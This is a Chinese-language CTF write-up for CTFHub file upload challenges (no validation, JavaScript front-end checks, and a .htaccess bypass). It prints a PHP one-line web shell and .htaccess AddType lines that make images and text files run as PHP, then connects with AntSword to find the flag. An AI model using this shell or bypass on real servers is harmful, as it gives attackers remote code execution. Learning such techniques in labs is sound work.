CTFHUB-技能树-Web前置技能-文件上传(无验证,JS前端验证,前端验证—.htaccess)
文章目录
- CTFHUB-技能树-Web前置技能-文件上传(无验证,JS前端验证,前端验证—.htaccess)
- 文件上传
- 无验证
- JS前端验证
- 前端验证—.htaccess
- 题目解析
- 关于如何生成htaccess文件
文件上传
无验证
尝试上传一个php木马文件,1.php
上传后显示相对路径,访问此路径,发现可以访问,且木马执行成功
使用菜刀、蚂剑等工具连接,寻找flag即可
这里使用蚂剑连接
JS前端验证
提示JS前端验证,我们就需要查看前端代码。
调出js代码发现,只允许上传pg,png,gif
将这里得onsubmit触发js删除掉,再进行上传即可
上传一句话php一句话木马
<?php @eval($_POST['pass']);phpinfo();?>
访问成功
利用蚁剑连接,寻找flag
在html中发现flag
前端验证—.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
总结来说就是一种配置文件,里面可以书写一些配置,如将某一文件以某种特定拓展名解析。
题目解析
经查看网页源代码,发现过滤了文件类型。
根据提示,应上传.htaccess文件
先编写一个.htaccess文件。保存的时候命名直接为.htaccess。
AddType application/x-httpd-php .pngAddType application/x-httpd-php .php加入“AddType application/x-httpd-php .php”、“AddType application/x-httpd-php .html”两行,你也可以加入更多,实质就是添加可以执行php的文件类型,比如你再加上一行“AddType application/x-httpd-php .htm”,则.htm文件也可以执行php程序了,你甚至还可以添加上一行“AddType application/x-httpd-php .txt”,让普通的文本文件格式也能运行php程序。
代码段是将png格式文件按php文件进行解析
关于如何生成htaccess文件
选择【文件】》【另存为…】后,弹出的【另存为】对话框,在【文件名】一栏中输入【.htaccess】,【保存类型】选择【所有文件】,然后选择要保存的路径,单击【保存】按钮!
上传htaccess文件
此时,再上传一句话木马,并把文件改为png格式
我们先访问一下,发现代码执行
最后使用蚁剑连接,寻找flag
再html中找到flag文件